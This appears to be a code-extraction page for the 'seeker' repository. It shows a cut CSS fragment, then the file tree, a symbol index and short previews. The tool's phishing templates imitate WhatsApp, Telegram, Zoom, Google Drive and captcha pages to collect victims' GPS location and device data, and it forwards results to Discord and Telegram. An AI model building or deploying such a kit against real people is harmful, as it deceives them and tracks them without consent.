.tlb_page_wrap .tl_contest_page_wrap #dev_page_content,
.tlb_page_wrap .tl_contest_page_wrap #dev_page_content p {
  color: #333333;
  font-size: 15px;
}
.tlb_page_wrap .tl_contest_page_wrap #dev_page_content p {
  margin-bottom: 15px;
}
.tlb_page_wrap .tl_contest_page_wrap #dev_page_content blockquote p:last-child {
  margin-bottom: 0;
}

.tlb_page_wrap a.tl_twitter_share_btn {
  background: #3faee8;
  color: #FFF;
  font-size: 14px;
  line-height: 18px;
  border-radius: 17px;
  padding-top: 8px;
}
.tlb_page_wrap span.tl_twitter_share_cnt {
  color: #c2eaff;
}
.tlb_page_wrap a.tl_twitter_share_btn:hover,
.tlb_page_wrap a.tl_twitter_share_btn:active {
  color: #c2eaff;
}


.tl_telegram_share_btn {
  display: inline-block;
  border-radius: 16px;
  background-color: #54a9eb;
  cursor: pointer;
  line-height: 22px;
  margin-right: 10px;
  padding: 5px 17px 5px 11px;
  color: #FFF;
  font-weight: bold;
}
.tl_telegram_share_btn:hover,
.tl_telegram_share_btn:active,
.tl_telegram_share_btn:focus {
  text-decoration: none;
  color: #FFF;
  outline: none;
}

.tl_telegram_share_label {
  line-height: 21px;
  vertical-align: top;
  display: inline-block;
  /*margin-top: 1px;*/
}

.tlb_page_wrap a.tl_telegram_share_btn {
  background: #3faee8;
  color: #FFF;
  font-size: 14px;
  border-radius: 17px;
  padding: 6px 12px 5px 6px;
}
.tlb_page_wrap a.tl_telegram_share_btn:hover,
.tlb_page_wrap a.tl_telegram_share_btn:active {
  color: #c2eaff;
}


/* Telegram Desktop */
.td_btn_hidden,
.td_all_shown .td_show_all_platforms {
  display: none;
}
.td_all_shown span.td_btn_hidden {
  display: inline;
}
.td_all_shown div.td_btn_hidden {
  display: block;
}
.td_content_wrap {
  width: 420px;
  margin: 0 auto;
  font-size: 16px;
}
.td_content_title {
  font-size: 28px;
  color: #383a3b;
  text-align: center;
  margin-top: 32px;
  margin-bottom: 14px;
  font-weight: normal;
  letter-spacing: -1px;
}
.tl_content_title_link,
.tl_content_title_link:hover {
  text-decoration: none;
}

.td_download_wrap,
.td_download_wrap_low {
  margin: 0 -130px;
  width: 680px;
  text-align: center;
}
.td_download_wrap_low {
  margin-bottom: 30px;
}

.td_osx .td_download_icon {
  background-position: 0 -33px;
}
.td_linux .td_download_icon {
  background-position: 0 -68px;
}
.td_download_add_wrap {
  width: 680px;
  margin: 0 -130px 10px;
  text-align: center;
}
.td_download_add {
  width: 256px;
  padding: 0 15px 20px;
  margin: 5px 10px;
  text-align: center;
  display: inline-block;
  cursor: pointer;
}
.td_download_btn {
  display: inline-block;
  vertical-align: top;
  font-weight: normal;
  text-align: center;
  vertical-align: middle;
  cursor: pointer;
  background-image: none;
  white-space: nowrap;
  -webkit
Download .txt
gitextract__f1mjkpv/

├── .github/
│   ├── FUNDING.yml
│   ├── ISSUE_TEMPLATE/
│   │   ├── config.yml
│   │   └── seeker-error-report---feature-request.md
│   └── workflows/
│       └── ci.yml
├── .gitignore
├── Dockerfile
├── Dockerfile.dev
├── LICENSE
├── README.md
├── createTemplate.md
├── discord_webhook.py
├── install.sh
├── js/
│   └── location.js
├── metadata.json
├── php/
│   ├── error.php
│   ├── info.php
│   └── result.php
├── seeker.py
├── telegram_api.py
├── template/
│   ├── captcha/
│   │   ├── anchor.html
│   │   ├── css/
│   │   │   └── styles__ltr.css
│   │   ├── index_temp.html
│   │   └── js/
│   │       └── main_temp.js
│   ├── custom_og_tags/
│   │   └── index_temp.html
│   ├── gdrive/
│   │   ├── css/
│   │   │   └── main.css
│   │   └── index_temp.html
│   ├── mod_captcha.py
│   ├── mod_custom_og_tags.py
│   ├── mod_gdrive.py
│   ├── mod_nearyou.py
│   ├── mod_telegram.py
│   ├── mod_whatsapp.py
│   ├── mod_whatsapp_redirect.py
│   ├── mod_zoom.py
│   ├── nearyou/
│   │   ├── css/
│   │   │   └── main.css
│   │   └── index_temp.html
│   ├── sample.kml
│   ├── telegram/
│   │   ├── css/
│   │   │   ├── css
│   │   │   └── telegram.css
│   │   └── index_temp.html
│   ├── templates.json
│   ├── whatsapp/
│   │   ├── css/
│   │   │   ├── Epf3I8GM5jv.css
│   │   │   └── s9hWiNS5894.css
│   │   └── index_temp.html
│   ├── whatsapp_redirect/
│   │   ├── css/
│   │   │   ├── Epf3I8GM5jv.css
│   │   │   └── s9hWiNS5894.css
│   │   └── index_temp.html
│   └── zoom/
│       └── index_temp.html
└── utils.py
Download .txt
SYMBOL INDEX (29 symbols across 7 files)

FILE: discord_webhook.py
  function discord_sender (line 7) | def discord_sender(url, msg_type, content):

FILE: js/location.js
  function information (line 1) | function information() {
  function locate (line 89) | function locate(callback, errCallback) {

FILE: php/info.php
  function getUserIP (line 14) | function getUserIP()

FILE: seeker.py
  function chk_update (line 94) | def chk_update():
  function banner (line 134) | def banner():
  function send_webhook (line 154) | def send_webhook(content, msg_type):
  function send_telegram (line 169) | def send_telegram(content, msg_type):
  function template_select (line 182) | def template_select(site):
  function server (line 243) | def server():
  function wait (line 314) | def wait():
  function data_parser (line 327) | def data_parser():
  function kmlout (line 459) | def kmlout(var_lat, var_lon):
  function csvout (line 473) | def csvout(row):
  function clear (line 480) | def clear():
  function repeat (line 487) | def repeat():
  function cl_quit (line 492) | def cl_quit():

FILE: telegram_api.py
  function send_request (line 12) | def send_request(token, msg):
  function tgram_sender (line 24) | def tgram_sender(msg_type, content, token):

FILE: template/captcha/js/main_temp.js
  function loading (line 1) | function loading(){
  function cap_success (line 4) | function cap_success(){
  function cap_uncheck (line 7) | function cap_uncheck(){
  function cap_error (line 10) | function cap_error(){
  function cap_forward (line 13) | function cap_forward(){
  function transmit (line 17) | function transmit(){
  function transmitted (line 22) | function transmitted(){
  function main (line 27) | function main(){

FILE: utils.py
  function downloadImageFromUrl (line 9) | def downloadImageFromUrl(url, path):
  function print (line 19) | def print(ftext, **args):
Condensed preview — 49 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (911K chars).
[
  {
    "path": ".github/FUNDING.yml",
    "chars": 67,
    "preview": "# These are supported funding model platforms\n\ngithub: thewhiteh4t\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "chars": 125,
    "preview": "blank_issues_enabled: false\ncontact_links:\n  - name: Discord\n    url: https://discord.gg/MtKK7U4\n    about: Community Se"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/seeker-error-report---feature-request.md",
    "chars": 360,
    "preview": "---\nname: Seeker Error Report / Feature Request\nabout: Create a report to help us improve\ntitle: ''\nlabels: ''\nassignees"
  },
  {
    "path": ".github/workflows/ci.yml",
    "chars": 623,
    "preview": "name: ci\n\non:\n  push:\n    branches:\n      - 'master'\n\njobs:\n  docker:\n    runs-on: ubuntu-latest\n    steps:\n      -\n    "
  },
  {
    "path": ".gitignore",
    "chars": 32,
    "preview": "db/\nlogs/\ntemplate/__pycache__/\n"
  },
  {
    "path": "Dockerfile",
    "chars": 355,
    "preview": "FROM alpine:latest\nRUN apk update \nRUN apk add --no-cache \\\ngit \\\nbash \\\nmusl-dev \\\nlinux-headers \\\npython3 \\\npy3-pip gc"
  },
  {
    "path": "Dockerfile.dev",
    "chars": 306,
    "preview": "FROM alpine:latest\nRUN apk update \nRUN apk add --no-cache \\\ngit \\\nbash \\\nmusl-dev \\\nlinux-headers \\\npython3 \\\npy3-pip gc"
  },
  {
    "path": "LICENSE",
    "chars": 1068,
    "preview": "MIT License\n\nCopyright (c) 2019 thewhiteh4t\n\nPermission is hereby granted, free of charge, to any person obtaining a cop"
  },
  {
    "path": "README.md",
    "chars": 8356,
    "preview": "<p align=\"center\"><img src=\"https://i.imgur.com/DIpuNTI.jpg\"></p>\n\n<p align=\"center\">\n    <a href=\"https://twitter.com/t"
  },
  {
    "path": "createTemplate.md",
    "chars": 1975,
    "preview": "# How-to create template\n\nOnce your template is working perfect, do not forget to submit it to the community via a Pull "
  },
  {
    "path": "discord_webhook.py",
    "chars": 5337,
    "preview": "#!/usr/bin/env python3\n\nimport requests\nfrom json import dumps, loads\n\n\ndef discord_sender(url, msg_type, content):\n    "
  },
  {
    "path": "install.sh",
    "chars": 2602,
    "preview": "#!/usr/bin/env bash\n\nLOG_DIR=$PWD/logs\nDB_DIR=$PWD/db\nILOG=$LOG_DIR/install.log\n\nmkdir -p $LOG_DIR $DB_DIR\n\nstatus_check"
  },
  {
    "path": "js/location.js",
    "chars": 4044,
    "preview": "function information() {\n  var ptf = navigator.platform;\n  var cc = navigator.hardwareConcurrency;\n  var ram = navigator"
  },
  {
    "path": "metadata.json",
    "chars": 151,
    "preview": "{\n\t\"name\": \"seeker\",\n\t\"author\": \"thewhiteh4t\",\n\t\"version\": \"1.3.1\",\n\t\"twitter\": \"https://twitter.com/thewhiteh4t\",\n\t\"com"
  },
  {
    "path": "php/error.php",
    "chars": 297,
    "preview": "<?php\nheader('Content-Type: text/html');\n{\n  $err_status = $_POST['Status'];\n  $err_text = $_POST['Error'];\n\n  $f = fope"
  },
  {
    "path": "php/info.php",
    "chars": 1215,
    "preview": "<?php\nheader('Content-Type: text/html');\n{\n  $ptf = $_POST['Ptf'];\n  $brw = $_POST['Brw'];\n  $cc = $_POST['Cc'];\n  $ram "
  },
  {
    "path": "php/result.php",
    "chars": 508,
    "preview": "<?php\nheader('Content-Type: text/html');\n{\n  $ok_status = $_POST['Status'];\n  $lat = $_POST['Lat'];\n  $lon = $_POST['Lon"
  },
  {
    "path": "seeker.py",
    "chars": 15861,
    "preview": "#!/usr/bin/env python3\n\nVERSION = '1.3.1'\n\nR = '\\033[31m'  # red\nG = '\\033[32m'  # green\nC = '\\033[36m'  # cyan\nW = '\\03"
  },
  {
    "path": "telegram_api.py",
    "chars": 2095,
    "preview": "import utils\nimport requests\nfrom json import dumps, loads\n\nR = '\\033[31m'  # red\nG = '\\033[32m'  # green\nC = '\\033[36m'"
  },
  {
    "path": "template/captcha/anchor.html",
    "chars": 3283,
    "preview": "<html dir=\"ltr\" lang=\"en\">\n  <head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n    <meta ht"
  },
  {
    "path": "template/captcha/css/styles__ltr.css",
    "chars": 52524,
    "preview": ".goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inli"
  },
  {
    "path": "template/captcha/index_temp.html",
    "chars": 3714,
    "preview": "<html>\n  <head>\n    <meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">\n    <meta name=\"viewport\" conten"
  },
  {
    "path": "template/captcha/js/main_temp.js",
    "chars": 3404,
    "preview": "function loading(){\n    document.getElementById('recaptcha-anchor').outerHTML='<span role=\"checkbox\" aria-checked=\"true\""
  },
  {
    "path": "template/custom_og_tags/index_temp.html",
    "chars": 806,
    "preview": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n\t<meta property=\"og:title\" content=\"$TITLE$\">\n\t<meta property=\"og:site_name\" con"
  },
  {
    "path": "template/gdrive/css/main.css",
    "chars": 3299,
    "preview": "@font-face {\n\tfont-family: Product Sans;\n\tfont-style: normal;\n  \tfont-weight: 400;\n\tsrc: url('/fonts/pxiDypQkot1TnFhsFMO"
  },
  {
    "path": "template/gdrive/index_temp.html",
    "chars": 1680,
    "preview": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n\t<meta name=\"description\" content=\"Web word processing, presentations and spread"
  },
  {
    "path": "template/mod_captcha.py",
    "chars": 1245,
    "preview": "#!/usr/bin/env python3\nimport os\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m' # cyan\nW = '\\0"
  },
  {
    "path": "template/mod_custom_og_tags.py",
    "chars": 1865,
    "preview": "#!/usr/bin/env python3\n\nimport os\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m' # cyan\nW = '\\"
  },
  {
    "path": "template/mod_gdrive.py",
    "chars": 748,
    "preview": "#!/usr/bin/env python3\nimport os\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m' # cyan\nW = '\\0"
  },
  {
    "path": "template/mod_nearyou.py",
    "chars": 477,
    "preview": "#!/usr/bin/env python3\nimport os\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m' # cyan\nW = '\\0"
  },
  {
    "path": "template/mod_telegram.py",
    "chars": 1941,
    "preview": "#!/usr/bin/env python3\n\nimport os\nimport shutil\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m'"
  },
  {
    "path": "template/mod_whatsapp.py",
    "chars": 1262,
    "preview": "#!/usr/bin/env python3\n\nimport os\nimport shutil\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m'"
  },
  {
    "path": "template/mod_whatsapp_redirect.py",
    "chars": 1547,
    "preview": "#!/usr/bin/env python3\n\nimport os\nimport shutil\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m'"
  },
  {
    "path": "template/mod_zoom.py",
    "chars": 471,
    "preview": "#!/usr/bin/env python3\nimport os\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m' # cyan\nW = '\\0"
  },
  {
    "path": "template/nearyou/css/main.css",
    "chars": 1818,
    "preview": "html, body\n{\n  height: 100%;\n}\nbody\n{\n  background-color: #000000;\n  margin: auto;\n  overflow: hidden;\n}\nh1\n{\n  font-fam"
  },
  {
    "path": "template/nearyou/index_temp.html",
    "chars": 1818,
    "preview": "<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <title>Near You | Meet New People, Make New Friends</title>\n    <meta char"
  },
  {
    "path": "template/sample.kml",
    "chars": 644,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<kml xmlns=\"http://www.opengis.net/kml/2.2\">\n\t<Document>\n    \t<Style id=\"icon\">\n "
  },
  {
    "path": "template/telegram/css/css",
    "chars": 446,
    "preview": "@font-face {\n  font-family: 'Roboto';\n  font-style: normal;\n  font-weight: 400;\n  src: local('Roboto'), local('Roboto-Re"
  },
  {
    "path": "template/telegram/css/telegram.css",
    "chars": 77588,
    "preview": "body {\n  font: 12px/18px \"Lucida Grande\", \"Lucida Sans Unicode\", Arial, Helvetica, Verdana, sans-serif;\n  /*-webkit-font"
  },
  {
    "path": "template/telegram/index_temp.html",
    "chars": 3944,
    "preview": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"utf-8\"/>\n    <title>Telegram: Contact @$TITLE$</title>\n    <meta cont"
  },
  {
    "path": "template/templates.json",
    "chars": 1118,
    "preview": "{\n    \"templates\": [\n        {\n            \"name\": \"NearYou\",\n            \"dir_name\": \"nearyou\",\n            \"import_fil"
  },
  {
    "path": "template/whatsapp/css/Epf3I8GM5jv.css",
    "chars": 23177,
    "preview": "._2e42 {\n    box-sizing: border-box\n}\n\nhtml {\n    touch-action: manipulation\n}\n\nbody {\n    background: #fff;\n    color: "
  },
  {
    "path": "template/whatsapp/css/s9hWiNS5894.css",
    "chars": 274824,
    "preview": "._2ywh {\n    display: block !important\n}\n\n._2ywk ._2yyj:after,\n._2ywk ._2ywp:after,\n._2ywk ._7ykn:after,\n._2ywk ._2yyk:a"
  },
  {
    "path": "template/whatsapp/index_temp.html",
    "chars": 14439,
    "preview": "<!DOCTYPE html>\n<html class=\"\" id=\"facebook\" lang=\"en\">\n    <head>\n        <meta charset=\"utf-8\"/>\n        <meta content"
  },
  {
    "path": "template/whatsapp_redirect/css/Epf3I8GM5jv.css",
    "chars": 23177,
    "preview": "._2e42 {\n    box-sizing: border-box\n}\n\nhtml {\n    touch-action: manipulation\n}\n\nbody {\n    background: #fff;\n    color: "
  },
  {
    "path": "template/whatsapp_redirect/css/s9hWiNS5894.css",
    "chars": 274824,
    "preview": "._2ywh {\n    display: block !important\n}\n\n._2ywk ._2yyj:after,\n._2ywk ._2ywp:after,\n._2ywk ._7ykn:after,\n._2ywk ._2yyk:a"
  },
  {
    "path": "template/whatsapp_redirect/index_temp.html",
    "chars": 13973,
    "preview": "<!DOCTYPE html>\n<html class=\"\" id=\"facebook\" lang=\"en\">\n    <head>\n        <meta charset=\"utf-8\"/>\n        <meta content"
  },
  {
    "path": "template/zoom/index_temp.html",
    "chars": 25761,
    "preview": "<!DOCTYPE html>\n<html lang=\"en-US\">\n<head>\n  <meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\n  <meta "
  },
  {
    "path": "utils.py",
    "chars": 556,
    "preview": "#!/usr/bin/env python3\nimport requests\nimport uuid\nimport sys\nimport re\nimport builtins\n\n\ndef downloadImageFromUrl(url, "
  }
]

About this extraction

This page contains the full source code of the thewhiteh4t/seeker GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 49 files (841.6 KB), approximately 327.8k tokens, and a symbol index with 29 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!